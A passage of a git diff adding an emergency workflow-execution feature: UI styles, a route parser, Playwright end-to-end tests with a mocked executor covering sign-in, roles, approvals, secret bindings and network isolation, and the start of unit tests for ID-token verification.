color: var(--fail); +} +.diag-warning li { + color: var(--warn); +} +.graph-jobs, +.graph-steps, +.exec-steps { + margin: 4px 0 8px; + padding-left: 22px; +} +.kind { + display: inline-block; + font-size: 11px; + font-family: var(--mono, ui-monospace, monospace); + padding: 0 6px; + border-radius: 4px; + background: var(--surface-2); + border: 1px solid var(--line); +} +.kind-checkout { + color: var(--muted); +} +.requirements { + padding-left: 20px; +} +.file-list { + font-size: 12px; + max-height: 260px; + overflow: auto; +} +.exec-job { + border-top: 1px solid var(--line); + padding: 8px 0; +} +.exec-job-head { + margin: 0 0 4px; +} +.exec-outputs { + margin: 0 0 4px; + font-size: 12px; + overflow-wrap: anywhere; +} +.exec-step { + margin: 4px 0; +} +.exec-log { + background: var(--surface-2); + border: 1px solid var(--line); + border-radius: 6px; + padding: 8px; + max-height: 320px; + overflow: auto; + font-size: 12px; + white-space: pre-wrap; + overflow-wrap: anywhere; +} +/* Each log line carries its source in a gutter the workflow's text can't fill (security review H3). */ +.log-src { + display: inline-block; + width: 7ch; + margin-right: 1ch; + color: var(--muted); + border-right: 1px solid var(--line); + user-select: none; +} +.log-runner { + font-style: italic; +} +.log-stderr .log-src { + color: var(--warn); +} +.emergency-actions { + margin-top: 12px; +} +@media (max-width: 640px) { + .emergency-head { + flex-direction: column; + } + .manifest-facts { + grid-template-columns: 1fr; + } +} + +/* Security review H2: the signed-in user, approvals and administration. */ +.emergency-user { + display: flex; + flex-wrap: wrap; + align-items: center; + gap: 8px 12px; + justify-content: flex-end; +} +.emergency-connect details { + border-top: 1px solid var(--line); + padding-top: 12px; +} +.emergency-connect details form { + display: grid; + gap: 10px; + margin-top: 10px; +} +.approval { + border: 1px solid var(--line-strong); + border-left: 4px solid var(--accent); + border-radius: 6px; + padding: 10px 14px; + margin: 12px 0; + background: var(--surface); +} +.approval-rejected, +.approval-invalidated, +.approval-cancelled { + border-left-color: var(--fail); +} +.approval ul { + margin: 4px 0 8px; + padding-left: 20px; +} +.approval-actions { + display: flex; + flex-wrap: wrap; + gap: 8px; +} +.approval-actions input { + flex: 1 1 240px; +} +.role-check { + display: inline-flex; + align-items: center; + gap: 4px; + margin-right: 10px; + white-space: nowrap; +} +.audit-details { + max-width: 480px; + overflow-wrap: anywhere; + font-size: 12px; +} diff --git a/src/ui/emergency/route.ts b/src/ui/emergency/route.ts new file mode 100644 index 0000000..74c1885 --- /dev/null +++ b/src/ui/emergency/route.ts @@ -0,0 +1,19 @@ +// Emergency execution routes (#/emergency…). Kept apart from the views so the app shell can route without loading +// the emergency code, which is a separate chunk (src/ui/App.tsx). +export type EmergencyRoute = { page: "home" } | { page: "prepare" } | { page: "admin" } | { page: "sign-in-failed" } | { page: "snapshot"; id: string } | { page: "execution"; id: string }; + +export function parseEmergencyHash(hash: string): EmergencyRoute | null { + const h = hash.replace(/^#/, ""); + if (h === "/emergency" || h === "/emergency/") return { page: "home" }; + if (h === "/emergency/prepare") return { page: "prepare" }; + if (h === "/emergency/admin") return { page: "admin" }; + if (h === "/emergency/sign-in-failed") return { page: "sign-in-failed" }; + let m = /^\/emergency\/snapshots\/([0-9a-f]{64})$/.exec(h); + if (m) return { page: "snapshot", id: m[1]! }; + m = /^\/emergency\/executions\/([0-9a-f]{16})$/.exec(h); + if (m) return { page: "execution", id: m[1]! }; + return null; +} + +export const emergencyHref = (r: EmergencyRoute) => + r.page === "snapshot" ? `#/emergency/snapshots/${r.id}` : r.page === "execution" ? `#/emergency/executions/${r.id}` : r.page === "home" ? "#/emergency" : `#/emergency/${r.page}`; diff --git a/tests/e2e/emergency.spec.ts b/tests/e2e/emergency.spec.ts new file mode 100644 index 0000000..671b9d1 --- /dev/null +++ b/tests/e2e/emergency.spec.ts @@ -0,0 +1,421 @@ +// Emergency execution in the browser. +// - "mocked executor": always runs. Preparation is real (fixture-mode GitHub serving examples/emergency-demo); the +// executor API is answered by page.route, which checks the uploaded snapshot's digest itself. +// - "live executor": opt-in (GHA_EMERGENCY_LIVE=1 with GHA_EMERGENCY_API_PROXY, and break-glass accounts +// GHA_EMERGENCY_LIVE_OPERATOR and GHA_EMERGENCY_LIVE_APPROVER as "account:credential"): +// the same flow against a real executor and Kubernetes Job (docs/EMERGENCY_EXECUTION.md, "Run the MVP locally"). +import { expect, test, type Page } from "@playwright/test"; +import { writeFileSync } from "node:fs"; +import { ed25519EventSigner, judgeExecution } from "../../src/emergency/event-stream.ts"; +import type { RunnerEvent } from "../../src/emergency/events.ts"; +import { revalidateSnapshot } from "../../src/emergency/revalidate.ts"; +import { fromBase64, manifestDigest, type Manifest, type SnapshotBundle } from "../../src/emergency/snapshot.ts"; +import { forbidGitHub } from "./support"; + +async function prepareDemoSnapshot(page: Page) { + await page.getByTestId("prepare-link").click(); + await page.getByTestId("prepare-repo").fill("emergency-demo/release-pipeline"); + await page.getByTestId("prepare-ref").fill("main"); + await page.getByTestId("load-workflows").click(); + await expect(page.getByTestId("resolved-commit")).toContainText(/main is commit [0-9a-f]{40}/); + await page.getByLabel(".github/workflows/release.yml").check(); + await page.getByLabel(".github/workflows/build.yml").uncheck(); + await page.getByTestId("prepare-name").fill("release demo"); + await page.getByTestId("resolve").click(); + const prepared = page.getByTestId("prepared"); + await expect(prepared.getByTestId("validation-ok")).toBeVisible(); + // The reusable workflow and every kind of action were resolved. + await expect(prepared.getByTestId("graph-workflow")).toHaveCount(2); + await expect(prepared.getByTestId("manifest-actions")).toContainText("./.github/actions/stamp"); + await expect(prepared.getByTestId("manifest-actions")).toContainText("demo-org/shared-actions/notify@v1"); + await expect(prepared.getByTestId("manifest-actions")).toContainText("composite"); + await expect(prepared.getByTestId("manifest-actions")).toContainText("replaced by the packaged workspace"); + await expect(prepared.getByTestId("requirements")).toContainText("DEMO_SIGNING_KEY"); + await page.getByTestId("create-snapshot").click(); + await expect(page.getByTestId("stored")).toContainText("version"); + await page.getByTestId("stored").getByRole("link", { name: "Open the snapshot" }).click(); + await expect(page.getByTestId("snapshot-title")).toContainText("release demo"); +} + +type MockOptions = { bound?: boolean; network?: "enforced" | "not-enforced"; user?: MockUser }; +type MockUser = { name: string; roles: string[] }; +const ALICE: MockUser = { name: "alice", roles: ["operator"] }; +const CAROL: MockUser = { name: "carol", roles: ["approver"] }; + +/** Signs in as the mock executor's current user: the button leads to the executor's auth/login, which redirects back. */ +async function signIn(page: Page, hash = "#/emergency") { + await page.goto(`/?mode=fixtures${hash}`); + await page.getByTestId("sign-in-oidc").click(); + await expect(page.getByTestId("signed-in-user")).toBeVisible(); +} + +test("mocked executor: sign in, prepare, request, approve and run the demo pipeline; GitHub is never contacted", async ({ page }) => { + const github = await forbidGitHub(page); + const mock = await mockExecutor(page, { bound: true, network: "enforced", user: ALICE }); + await page.goto("/?mode=fixtures"); + await page.getByTestId("emergency-nav").click(); + // Security review H2: no operator token; a sign-in through the executor and the organization's identity provider. + await expect(page.getByTestId("sign-in")).toContainText("Sign in with Example SSO"); + await page.getByTestId("sign-in-oidc").click(); + await expect(page.getByTestId("signed-in-user")).toContainText("alice"); + await expect(page.getByTestId("user-roles")).toHaveText("operator"); + await prepareDemoSnapshot(page); + + await expect(page.getByTestId("manifest-sha")).toHaveText(/^[0-9a-f]{40}$/); + await expect(page.getByTestId("snapshot-owner")).toContainText("Prepared by alice · shared"); + // Security review H1: content integrity (the executor's) and provenance (checked here, against GitHub) are separate. + await expect(page.getByTestId("integrity")).toContainText("Git tree verified"); + await expect(page.getByTestId("provenance-status")).toContainText("not checked — unverified"); + await page.getByTestId("check-provenance").click(); + await expect(page.getByTestId("provenance-status")).toContainText("verified"); + await expect(page.getByTestId("provenance-roots")).toContainText("the executor verified the packaged files are exactly that tree"); + // Security review C1: the Secret comes from the binding; there is nothing to type. + await expect(page.getByTestId("secret-binding")).toContainText("from Secret demo-secrets (binding release-demo). Only these keys are mounted"); + await expect(page.getByTestId("network-verdict")).toContainText("Isolation verified by the network canary"); + // H2: it receives a Secret, so it needs an approver. + await expect(page.getByTestId("needs-approval")).toContainText("it receives a Secret"); + await page.getByTestId("input-version").fill("9.9.9"); + await page.getByTestId("start-execution").click(); + await expect(page).toHaveURL(/#\/emergency\/executions\/00112233aabbccdd$/); + expect(mock.execution).toEqual({ snapshotId: expect.any(String), workflow: ".github/workflows/release.yml", inputs: { version: "9.9.9" }, variables: {}, network: "isolated" }); + await expect(page.getByTestId("approval")).toContainText("Waiting for approval"); + await expect(page.getByTestId("approval-not-yours")).toContainText("another approver must decide"); + await expect(page.getByTestId("initiated-by")).toHaveText("alice"); + + // carol, an approver, signs in and approves exactly the reviewed request. + await page.getByRole("button", { name: "Sign out" }).click(); + mock.user = CAROL; + await signIn(page, "#/emergency/executions/00112233aabbccdd"); + await page.getByTestId("approval-comment").fill("release 9.9.9, CHG-1"); + await page.getByTestId("approve").click(); + expect(mock.approval).toEqual({ decision: "approve", requestDigest: "d".repeat(64), comment: "release 9.9.9, CHG-1" }); + await expect(page.getByTestId("status-tag").first()).toHaveText("success"); + await expect(page.getByTestId("approval")).toContainText("Approved by carol"); + await expect(page.getByTestId("execution-isolation")).toContainText("NetworkPolicy enforcement verified by the canary"); + await expect(page.getByTestId("reconcile-note")).toBeVisible(); + await page.getByTestId("exec-step").first().getByRole("button").click(); + await expect(page.getByTestId("exec-log")).toContainText("Preparing emergency-demo 9.9.9"); + // Security review H3, signed by the runner's own key since H2: authenticated events, each log line labelled. + await expect(page.getByTestId("execution-stream")).toHaveText("authenticated (11 events, complete)"); + const lines = page.getByTestId("exec-log").locator(".log-line"); + await expect(lines.nth(0)).toHaveText("runnerWorkspace restored from snapshot"); + await expect(lines.nth(2)).toHaveText("outWorkspace restored from snapshot (printed by the workflow)"); + + expect(github).toEqual([]); + // Every API call carried the CSRF header and no bearer token. + expect(mock.requests.every((r) => r.csrf === "1" && r.authorization === undefined)).toBe(true); +}); + +test("security review C1/C2 in the UI: an unbound snapshot can't be started, and unproven isolation is shown and refused", async ({ page }) => { + await forbidGitHub(page); + const mock = await mockExecutor(page, { bound: false, network: "not-enforced", user: ALICE }); + await signIn(page); + await prepareDemoSnapshot(page); + await expect(page.getByTestId("not-authorized")).toContainText("Not authorized: no Secret is bound to this snapshot"); + await expect(page.getByTestId("start-execution")).toBeDisabled(); + await expect(page.getByTestId("network-verdict")).toContainText("Not verified (not-enforced)"); + await expect(page.getByTestId("network-verdict")).toContainText("Executions in this mode are refused"); + expect(mock.execution).toBeUndefined(); +}); + +test("security review H2 in the UI: what each role sees; administrators manage others' roles; break-glass sign-in", async ({ page }) => { + await forbidGitHub(page); + const mock = await mockExecutor(page, { bound: true, network: "enforced", user: { name: "mallory", roles: [] } }); + // Signed in, no roles: told who they are, nothing else. + await signIn(page); + await expect(page.getByTestId("no-roles")).toContainText("An administrator must give you a role"); + await expect(page.getByTestId("my-subject")).toHaveText("mallory-subject"); + // A viewer: no "Prepare a snapshot", no administration. + await page.getByRole("button", { name: "Sign out" }).click(); + mock.user = { name: "dave", roles: ["viewer"] }; + await signIn(page); + await expect(page.getByTestId("snapshot-list").or(page.getByText("No snapshots yet"))).toBeVisible(); + await expect(page.getByTestId("prepare-link")).toHaveCount(0); + await expect(page.getByRole("link", { name: "Administration" })).toHaveCount(0); + // An administrator: users and roles; their own row can't be changed. + await page.getByRole("button", { name: "Sign out" }).click(); + mock.user = { name: "root", roles: ["administrator"] }; + await signIn(page); + await page.getByRole("link", { name: "Administration" }).click(); + await expect(page.getByTestId("admin-page")).toBeVisible(); + await expect(page.getByTestId("role-root-operator")).toBeDisabled(); + // The checkbox follows the executor's answer, not the click. + await page.getByTestId("role-dave-operator").click(); + await expect(page.getByTestId("role-dave-operator")).toBeChecked(); + expect(mock.roleChanges).toEqual([{ user: "u-dave", roles: ["viewer", "operator"] }]); + await expect(page.getByTestId("audit-list")).toContainText("roles-changed"); + // Break-glass: a named account, a credential and a reason. + await page.getByRole("button", { name: "Sign out" }).click(); + await page.goto("/?mode=fixtures#/emergency"); + await page.getByTestId("break-glass").locator("summary").click(); + await page.getByTestId("break-glass-account").fill("recovery-1"); + await page.getByTestId("break-glass-credential").fill("credential-from-the-cluster-admin"); + await page.getByTestId("break-glass-reason").fill("IdP outage INC-1234"); + mock.user = { name: "break-glass: recovery-1", roles: ["operator"] }; + await page.getByRole("button", { name: "Sign in", exact: true }).click(); + await expect(page.getByTestId("signed-in-user")).toContainText("break-glass"); + expect(mock.breakGlass).toEqual({ account: "recovery-1", credential: "credential-from-the-cluster-admin", reason: "IdP outage INC-1234" }); +}); + +/** + * The executor's API, answered by page.route: sign-in (auth/login stands for the identity provider's round trip), the + * session, snapshots checked with the real server-side validation, an execution that waits for approval, and + * administration. It asserts what the UI sends; the executor's own enforcement is tested in tests/unit. + */ +async function mockExecutor(page: Page, opts: MockOptions) { + const state: { + user: MockUser; + signedIn: boolean; + execution?: Record; + approval?: Record; + breakGlass?: Record; + roleChanges: { user: string; roles: string[] }[]; + requests: { csrf?: string; authorization?: string }[]; + } = { user: opts.user ?? ALICE, signedIn: false, roleChanges: [], requests: [] }; + const snapshots = new Map; manifest: Manifest }>(); + const networkCheck = { + state: opts.network, + checkedAt: new Date().toISOString(), + reason: opts.network === "enforced" ? "An isolated runner pod reached none of the targets" : "An isolated runner pod reached external-ip (1.1.1.1:443)", + isolated: [], + control: [], + allowEgress: false, + }; + const actor = () => ({ id: `u-${state.user.name}`, name: state.user.name }); + const permissions: Record = { + viewer: ["snapshots.read", "executions.read", "checks.read"], + operator: ["snapshots.read", "executions.read", "checks.read", "snapshots.create", "snapshots.verify", "snapshots.delete-own", "executions.create", "executions.cancel-own", "checks.run"], + approver: ["snapshots.read", "executions.read", "checks.read", "executions.approve"], + administrator: ["snapshots.read", "executions.read", "checks.read", "admin.users", "admin.sessions", "admin.bindings", "admin.audit"], + }; + const users = [ + { id: "u-root", kind: "oidc", name: "root", issuer: "https://sso.example", subject: "root-subject", roles: [], effectiveRoles: ["administrator"], pinnedRoles: ["administrator"], lastSeen: new Date().toISOString(), sessions: 1 }, + { id: "u-dave", kind: "oidc", name: "dave", issuer: "https://sso.example", subject: "dave-subject", roles: ["viewer"], effectiveRoles: ["viewer"], pinnedRoles: [], lastSeen: new Date().toISOString(), sessions: 0 }, + ]; + const audit: Record[] = [{ at: new Date().toISOString(), action: "signed-in", by: { id: "u-root", name: "root" } }]; + let approved = false; + await page.route("**/api/emergency/**", async (route) => { + const req = route.request(); + const path = new URL(req.url()).pathname.replace(/^.*\/api\/emergency\//, ""); + const json = (status: number, body: unknown) => route.fulfill({ status, contentType: "application/json", body: JSON.stringify(body) }); + if (path === "health") return json(200, { available: true, signIn: { oidc: { label: "Example SSO" }, breakGlass: true } }); + if (path === "auth/login") { + // A full-page navigation: the identity provider's round trip, then back to the page the user came from. + state.signedIn = true; + const back = new URL(req.url()).searchParams.get("return") ?? "#/emergency"; + return route.fulfill({ status: 302, headers: { Location: `/?mode=fixtures${back}` } }); + } + state.requests.push({ csrf: req.headers()["x-gha-emergency"], authorization: req.headers()["authorization"] }); + if (path === "auth/break-glass") { + state.breakGlass = JSON.parse(req.postData()!) as Record; + state.signedIn = true; + return json(200, { signedIn: true, expiresAt: new Date(Date.now() + 3_600_000).toISOString() }); + } + if (!state.signedIn) return json(401, { error: "Sign-in required" }); + if (path === "auth/session") { + const breakGlass = state.user.name.startsWith("break-glass"); + return json(200, { + user: { id: actor().id, name: state.user.name, kind: breakGlass ? "break-glass" : "oidc", issuer: breakGlass ? undefined : "https://sso.example", subject: `${state.user.name}-subject` }, + roles: state.user.roles, + permissions: [...new Set(state.user.roles.flatMap((r) => permissions[r]!))], + session: { method: breakGlass ? "break-glass" : "oidc", createdAt: new Date().toISOString(), expiresAt: new Date(Date.now() + 8 * 3_600_000).toISOString() }, + }); + } + if (path === "auth/logout") { + state.signedIn = false; + return json(200, { signedOut: true }); + } + if (path === "snapshots" && req.method() === "GET") return json(200, { snapshots: [...snapshots.values()].map((s) => s.record) }); + if (path === "snapshots" && req.method() === "POST") { + const bundle = JSON.parse(req.postData()!) as SnapshotBundle & { visibility?: string }; + expect(bundle.visibility).toBe("shared"); + const id = await manifestDigest(bundle.manifest); + // The executor's own findings (H1), computed with the real server-side validation over the uploaded files. + const checked = await revalidateSnapshot(bundle.manifest, async (f) => (bundle.contents[f.sha256] ? fromBase64(bundle.contents[f.sha256]!) : undefined)); + expect(checked.mismatches).toEqual([]); + const record = { + id, + name: bundle.manifest.name, + version: 1, + storedAt: new Date().toISOString(), + expiresAt: bundle.manifest.expiresAt, + source: bundle.manifest.source, + entryWorkflows: bundle.manifest.entryWorkflows, + executable: checked.validation.executable, + totals: bundle.manifest.totals, + validation: checked.validation, + integrity: checked.integrity, + preparedBy: actor(), + visibility: "shared", + }; + snapshots.set(id, { record, manifest: bundle.manifest }); + expect(Object.keys(bundle.contents).length).toBeGreaterThan(5); + expect(req.postData()).not.toContain("demo-signing"); + return json(201, { snapshot: record, created: true }); + } + if (path === "network-check") return json(200, networkCheck); + const snap = /^snapshots\/([0-9a-f]{64})$/.exec(path); + if (snap) { + const s = snapshots.get(snap[1]!)!; + return json(200, { + ...s, + secretBinding: opts.bound ? { name: "release-demo", secret: "demo-secrets", keys: ["DEMO_SIGNING_KEY"] } : null, + secretBindingProblem: null, + allowEgress: false, + approvalPolicy: { requireFor: ["secrets", "egress"], separationOfDuties: true, ttlMinutes: 60 }, + }); + } + if (path === "executions" && req.method() === "GET") return json(200, { executions: [] }); + if (path === "executions" && req.method() === "POST") { + state.execution = JSON.parse(req.postData()!) as Record; + return json(202, { execution: { id: "00112233aabbccdd", state: "awaiting-approval" } }); + } + if (path === "executions/00112233aabbccdd/approve") { + state.approval = JSON.parse(req.postData()!) as Record; + approved = true; + return json(201, { execution: { id: "00112233aabbccdd", state: "started" } }); + } + if (path === "executions/00112233aabbccdd") { + const s = [...snapshots.values()][0]!; + const at = new Date().toISOString(); + const execution = state.execution!; + const meta = { + id: "00112233aabbccdd", + snapshotId: s.record.id, + snapshotName: "release demo", + snapshotVersion: 1, + workflow: ".github/workflows/release.yml", + inputs: execution.inputs, + variables: {}, + secretName: approved ? "demo-secrets" : undefined, + secretKeys: approved ? ["DEMO_SIGNING_KEY"] : undefined, + network: execution.network, + isolation: approved ? { state: "enforced", checkedAt: at } : undefined, + createdAt: at, + jobName: "gha-emergency-00112233aabbccdd", + preparedBy: { id: "u-alice", name: "alice" }, + initiatedBy: { id: "u-alice", name: "alice" }, + visibility: "shared", + state: approved ? "started" : "awaiting-approval", + approval: { + reasons: ["It receives DEMO_SIGNING_KEY from Secret demo-secrets (binding release-demo)"], + requestDigest: "d".repeat(64), + expiresAt: new Date(Date.now() + 3_600_000).toISOString(), + ...(approved ? { decision: "approved", decidedBy: { id: "u-carol", name: "carol" }, decidedAt: at, comment: state.approval?.comment } : {}), + }, + }; + if (!approved) return json(200, { meta, job: { state: "not-started", reason: "Waiting for an approver" }, view: { status: "pending", reason: "Waiting for an approver", network: [], jobs: [], logs: [], annotations: [], outputs: {} } }); + const events: RunnerEvent[] = [ + { type: "execution-start", at, executionId: "00112233aabbccdd", digest: String(s.record.id), workflow: ".github/workflows/release.yml", source: s.manifest.source }, + { type: "verify", at, ok: true, files: s.manifest.files.length, problems: [] }, + { type: "network", at, host: "github.com", reachable: false, detail: "DNS lookup failed (ECONNREFUSED)" }, + { type: "job-start", at, job: "prepare", name: "prepare", workflow: ".github/workflows/release.yml", needs: [] }, + { type: "step-start", at, job: "prepare", step: 1, name: "Read version", kind: "run" }, + { type: "log", at, job: "prepare", step: 1, stream: "runner", text: "Workspace restored from snapshot" }, + { type: "log", at, job: "prepare", step: 1, stream: "stdout", text: "Preparing emergency-demo 9.9.9" }, + { type: "log", at, job: "prepare", step: 1, stream: "stdout", text: "Workspace restored from snapshot (printed by the workflow)" }, + { type: "step-end", at, job: "prepare", step: 1, outcome: "success", conclusion: "success", exitCode: 0, durationMs: 12, outputs: { version: "9.9.9" } }, + { type: "job-end", at, job: "prepare", result: "success", outputs: { version: "9.9.9" } }, + { type: "execution-end", at, result: "success", durationMs: 40, outputs: {} }, + ]; + // The executor's own judgment of a runner log signed with the runner's own key (security review H3 and H2). + const signer = await ed25519EventSigner("00112233aabbccdd"); + let text = `${signer.keyLine}\n`; + for (const e of events) text += `${await signer.sign(e)}\n`; + return json(200, { meta, job: { state: "succeeded" }, view: await judgeExecution(text, { kind: "ed25519", execution: "00112233aabbccdd" }, 0, true) }); + } + if (path === "admin/users") return json(200, { users, roles: ["viewer", "operator", "approver", "administrator"] }); + const roles = /^admin\/users\/([^/]+)\/roles$/.exec(path); + if (roles) { + const body = JSON.parse(req.postData()!) as { roles: string[] }; + state.roleChanges.push({ user: roles[1]!, roles: body.roles }); + const u = users.find((x) => x.id === roles[1])!; + Object.assign(u, { roles: body.roles, effectiveRoles: body.roles }); + audit.unshift({ at: new Date().toISOString(), action: "roles-changed", by: actor(), user: { id: u.id }, after: body.roles }); + return json(200, { user: u }); + } + if (path === "admin/bindings") return json(200, { bindings: [], problems: [] }); + if (path === "admin/audit") return json(200, { entries: audit }); + return json(404, { error: "Not found" }); + }); + return state; +} + +test("without an executor the emergency view says so and makes no other request", async ({ page }) => { + await page.route("**/api/emergency/**", (route) => route.fulfill({ status: 404, body: "Not found" })); + await page.goto("/?mode=fixtures#/emergency"); + await expect(page.getByTestId("emergency-unavailable")).toBeVisible(); +}); + +// Live tests against a real executor and cluster, in two phases because a Secret binding names an exact snapshot +// digest, which exists only once the snapshot is prepared: +// 1. GHA_EMERGENCY_LIVE=1: prepare and store the demo snapshot; its digest goes to test-results/emergency-live-digest.txt +// 2. an administrator binds demo-secrets to that digest (helm upgrade --set secretBindings…) +// 3. GHA_EMERGENCY_LIVE=1 GHA_EMERGENCY_LIVE_SNAPSHOT=: run it with isolation proven by the canary +const live = process.env.GHA_EMERGENCY_LIVE === "1"; +const liveSnapshot = process.env.GHA_EMERGENCY_LIVE_SNAPSHOT; + +/** Signs in with a break-glass account given as "account:credential" (security review H2). */ +async function connectLive(page: Page, hash: string, who = process.env.GHA_EMERGENCY_LIVE_OPERATOR ?? "") { + const [account, ...rest] = who.split(":"); + await page.goto(`/?mode=fixtures${hash}`); + await page.getByTestId("break-glass").locator("summary").click(); + await page.getByTestId("break-glass-account").fill(account ?? ""); + await page.getByTestId("break-glass-credential").fill(rest.join(":")); + await page.getByTestId("break-glass-reason").fill("Live end-to-end test of emergency execution"); + await page.getByRole("button", { name: "Sign in", exact: true }).click(); + await expect(page.getByTestId("signed-in-user")).toBeVisible(); +} + +test("live executor, phase 1: prepare and store the demo snapshot (unbound: not authorized to run)", async ({ page }) => { + test.skip(!live || !!liveSnapshot, "Opt-in phase 1 (docs/EMERGENCY_EXECUTION.md)"); + const github = await forbidGitHub(page); + await connectLive(page, "#/emergency"); + await prepareDemoSnapshot(page); + await page.getByTestId("verify-snapshot").click(); + await expect(page.getByTestId("verify-result")).toContainText("Verified: all"); + const digest = (await page.getByTestId("manifest-digest").textContent())!.replace("sha256:", "").trim(); + expect(digest).toMatch(/^[0-9a-f]{64}$/); + await expect(page.getByTestId("not-authorized")).toContainText(digest); + await expect(page.getByTestId("start-execution")).toBeDisabled(); + writeFileSync("test-results/emergency-live-digest.txt", digest); + await page.screenshot({ path: "test-results/emergency-live-unbound.png", fullPage: true }); + expect(github).toEqual([]); +}); + +test("live executor, phase 2: run the bound snapshot as a Kubernetes Job with isolation proven by the canary", async ({ page }) => { + test.skip(!live || !liveSnapshot, "Opt-in phase 2: set GHA_EMERGENCY_LIVE_SNAPSHOT to a bound digest"); + test.setTimeout(10 * 60_000); + const github = await forbidGitHub(page); + await connectLive(page, `#/emergency/snapshots/${liveSnapshot}`); + await expect(page.getByTestId("snapshot-title")).toContainText("release demo"); + await expect(page.getByTestId("secret-binding")).toContainText("from Secret demo-secrets"); + await expect(page.getByTestId("secret-binding")).toContainText("Only these keys are mounted"); + await expect(page.getByTestId("network-verdict")).toContainText("Isolation verified by the network canary", { timeout: 120_000 }); + await page.getByTestId("input-version").fill("2.0.1"); + await page.screenshot({ path: "test-results/emergency-live-snapshot.png", fullPage: true }); + await page.getByTestId("start-execution").click(); + await expect(page).toHaveURL(/#\/emergency\/executions\/[0-9a-f]{16}$/, { timeout: 120_000 }); + // It receives a Secret, so another person (the approver account) approves it, in a separate browser session. + await expect(page.getByTestId("approval")).toContainText("Waiting for approval"); + const approver = await page.context().browser()!.newPage(); + await connectLive(approver, new URL(page.url()).hash, process.env.GHA_EMERGENCY_LIVE_APPROVER ?? ""); + await approver.getByTestId("approval-comment").fill("live end-to-end test"); + await approver.getByTestId("approve").click(); + await expect(approver.getByTestId("approval")).toContainText("Approved by", { timeout: 120_000 }); + await approver.close(); + await expect(page.getByTestId("status-tag").first()).toHaveText("success", { timeout: 8 * 60_000 }); + const jobs = page.getByTestId("exec-job"); + await expect(jobs).toHaveCount(5); + await expect(jobs.nth(0)).toContainText("prepare"); + await expect(jobs.nth(1)).toContainText("build"); + await expect(jobs.nth(2)).toContainText("build/compile"); + await expect(jobs.nth(3)).toContainText("build/package"); + await expect(jobs.nth(4)).toContainText("report"); + await expect(page.getByTestId("execution-verified")).toContainText("verified in the runner"); + await expect(page.getByTestId("execution-isolation")).toContainText("NetworkPolicy enforcement verified by the canary"); + await expect(page.getByTestId("execution-network")).not.toContainText("REACHABLE"); + for (const value of [process.env.GHA_EMERGENCY_SECRET_VALUE, process.env.GHA_EMERGENCY_OTHER_VALUE]) if (value) await expect(page.locator("body")).not.toContainText(value); + await page.screenshot({ path: "test-results/emergency-live-execution.png", fullPage: true }); + expect(github).toEqual([]); +}); diff --git a/tests/unit/emergency-auth.test.ts b/tests/unit/emergency-auth.test.ts new file mode 100644 index 0000000..2c06a90 --- /dev/null +++ b/tests/unit/emergency-auth.test.ts @@ -0,0 +1,99 @@ +// Security review H2: the ID-token verifier, the OpenID Connect client against a real HTTP provider, and the sign-in +// configuration. The API-level attacks (forged tokens, roles, sessions, approvals) are in emergency-executor.test.ts. +import { generateKeyPairSync, sign } from "node:crypto"; +import { describe, expect, it } from "vitest"; +import { parseAuthConfig } from "../../deploy/emergency/executor/auth/config.ts"; +import { verifyIdToken, selectKey, type Jwk } from "../../deploy/emergency/executor/auth/jwt.ts"; +import { createOidcProvider } from "../../deploy/emergency/executor/auth/oidc.ts"; +import { createDevIdp } from "../../tools/emergency/dev-oidc.ts"; + +const NOW = new Date("2026-10-30T12:00:00Z"); +const t = Math.floor(NOW.getTime() / 1000); +const b64 = (v: unknown) => Buffer.from(JSON.stringify(v)).toString("base64url"); +const claims = { iss: "https://idp.test", sub: "u1", aud: "app", iat: t, exp: t + 300, nonce: "n" }; +const opts = { issuer: "https://idp.test", clientId: "app", nonce: "n", now: NOW }; + +function token(alg: string, key: Parameters[2], payload: object = claims, kid = "k1") { + const input = `${b64({ alg, kid })}.${b64(payload)}`; + const hash = { RS256: "sha256", PS256: "sha256", ES256: "sha256", ES384: "sha384" }[alg]!; + return `${input}.${sign(hash, Buffer.from(input), key).toString("base64url")}`; +} + +describe("ID token verification", () => { + it("verifies RS256, PS256 and ES256 tokens with the issuer's matching key", () => { + const rsa = generateKeyPairSync("rsa", { modulusLength: 2048 }); + const ec = generateKeyPairSync("ec", { namedCurve: "P-256" }); + const rsaJwk = { ...rsa.publicKey.export({ format: "jwk" }), kid: "k1" } as Jwk; + const ecJwk = { ...ec.publicKey.export({ format: "jwk" }), kid: "k1" } as Jwk; + expect(verifyIdToken(token("RS256", rsa.privateKey), rsaJwk, opts).sub).toBe("u1"); + expect(verifyIdToken(token("PS256", { key: rsa.privateKey, padding: 6, saltLength: 32 }), rsaJwk, opts).sub).toBe("u1"); + expect(verifyIdToken(token("ES256", { key: ec.privateKey, dsaEncoding: "ieee-p1363" }), ecJwk, opts).sub).toBe("u1"); + // An EC key for an RSA token, a key restricted to another algorithm or to encryption: refused. + expect(() => verifyIdToken(token("RS256", rsa.privateKey), ecJwk, opts)).toThrow(/does not match/); + expect(() => verifyIdToken(token("RS256", rsa.privateKey), { ...rsaJwk, alg: "RS512" }, opts)).toThrow(/does not match/); + expect(() => verifyIdToken(token("RS256", rsa.privateKey), { ...rsaJwk, use: "enc" }, opts)).toThrow(/does not match/); + // An algorithm outside the configured list (ES384 is supported but not allowed by default). + const ec384 = generateKeyPairSync("ec", { namedCurve: "P-384" }); + expect(() => verifyIdToken(token("ES384", { key: ec384.privateKey, dsaEncoding: "ieee-p1363" }), { ...ec384.publicKey.export({ format: "jwk" }), kid: "k1" } as Jwk, opts)).toThrow(/not allowed/); + }); + + it("selects the key by kid among the issuer's signing keys; without a kid only an unambiguous key", () => { + const keys: Jwk[] = [{ kty: "RSA", kid: "a" }, { kty: "RSA", kid: "b", use: "sig" }, { kty: "RSA", kid: "c", use: "enc" }, { kty: "EC", kid: "d" }]; + expect(selectKey(keys, { alg: "RS256", kid: "b" })?.kid).toBe("b"); + expect(selectKey(keys, { alg: "RS256", kid: "c" })).toBeUndefined(); + expect(selectKey(keys, { alg: "RS256" })).toBeUndefined(); + expect(selectKey([keys[0]!], { alg: "RS256" })?.kid).toBe("a"); + }); + + it("refuses malformed tokens and critical headers", () => { + const rsa = generateKeyPairSync("rsa", { modulusLength: 2048 }); + const jwk = { ...rsa.publicKey.export({ format: "jwk" }), kid: "k1" } as Jwk; + expect(() => verifyIdToken("a.b", jwk, opts)).toThrow(/not a signed JWT/); + expect(() => verifyIdToken(`${b64({ alg: "RS256", crit: ["exp"] })}.${b64(claims)}.x`, jwk, opts)).toThrow(/critical/); + expect(() => verifyIdToken(`${b64({ alg: "RS256" })}.not json.x`, jwk, opts)).toThrow(/base64url|JSON/); + }); +}); + +describe("OpenID Connect client", () => { + 